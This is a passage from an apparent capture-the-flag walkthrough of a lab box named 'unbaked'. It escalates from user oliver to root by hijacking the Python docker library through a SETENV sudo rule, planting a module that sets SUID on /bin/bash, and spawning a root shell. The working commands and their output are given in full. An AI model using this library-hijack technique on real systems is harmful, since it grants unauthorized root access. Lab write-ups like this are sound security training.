1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:9d:2a:2d:05:b3 brd ff:ff:ff:ff:ff:ff
    inet 10.10.49.15/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::9d:2aff:fe2d:5b3/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:40:ad:94:49 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:40ff:fead:9449/64 scope link 
       valid_lft forever preferred_lft forever
5: vethce88f61@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether ce:10:16:87:86:01 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::cc10:16ff:fe87:8601/64 scope link 
       valid_lft forever preferred_lft forever
oliver@unbaked:~$

Note: The image must be very clear, otherwise it’ll recognize other characters.

I’m user oliver!

Host oliver to Host root

Sudo permission:

oliver@unbaked:~$ sudo -l
Matching Defaults entries for oliver on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User oliver may run the following commands on unbaked:
    (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py

User oliver can run /usr/bin/python /opt/dockerScript.py as root! Also, we can set an environment variable.

/opt/dockerScript.py:

import docker

# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)

This Python script will:

  1. Using docker.from_env() to connect using the default socket or the configuration in the environment variable
  2. Using client.containers.run() to run the specified container

Armed with above information, we can hijack the docker library!

To do so, we can create an evil docker Python script:

oliver@unbaked:/dev/shm$ cat << EOF > docker.py
> import os
> 
> os.system("chmod +s /bin/bash")
> EOF

This Python script will add a SUID sticky bit to /bin/bash, so we can spawn a root Bash shell.

Then, run /opt/dockerScript.py with PYTHON_PATH environment variable:

oliver@unbaked:/dev/shm$ sudo PYTHONPATH=/dev/shm /usr/bin/python /opt/dockerScript.py
Traceback (most recent call last):
  File "/opt/dockerScript.py", line 6, in <module>
    client = docker.from_env()
AttributeError: 'module' object has no attribute 'from_env'

oliver@unbaked:/dev/shm$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1014K Jul 13  2019 /bin/bash

NIce! Our payload worked! Let’s spawn a root Bash shell:

oliver@unbaked:/dev/shm$ /bin/bash -p
bash-4.3# whoami;hostname;id;ip a
root
unbaked
uid=1002(oliver) gid=1002(oliver) euid=0(root) egid=0(root) groups=0(root),1002(oliver),1003(sysadmin)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:9d:2a:2d:05:b3 brd ff:ff:ff:ff:ff:ff
    inet 10.10.49.15/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::9d:2aff:fe2d:5b3/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:40:ad:94:49 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:40ff:fead:9449/64 scope link 
       valid_lft forever preferred_lft forever
5: vethce88f61@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether ce:10:16:87:86:01 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::cc10:16ff:fe87:8601/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

Rooted

root.txt:

bash-4.3# cat /root/root.txt
CONGRATS ON PWNING THIS BOX!
Created by ch4rm & H0j3n
ps: dont be mad us, we hope you learn something new

flag: THM{Redacted}

Conclusion

What we’ve learned:

  1. Enumerating Python Django Web Application via Debug Mode
  2. Exploiting Insecure Deserialization In Python’s Pickle Library
  3. Using nc To Scan Open Ports
  4. Port Forwarding via chisel
  5. Docker Escape & Pivoting
  6. Horizontal Privilege Escalation via Exploiting Unsantizized eval() Sink
  7. Vertical Privilege Escalation via Hijacking Python Library With SETENV Sudo Permission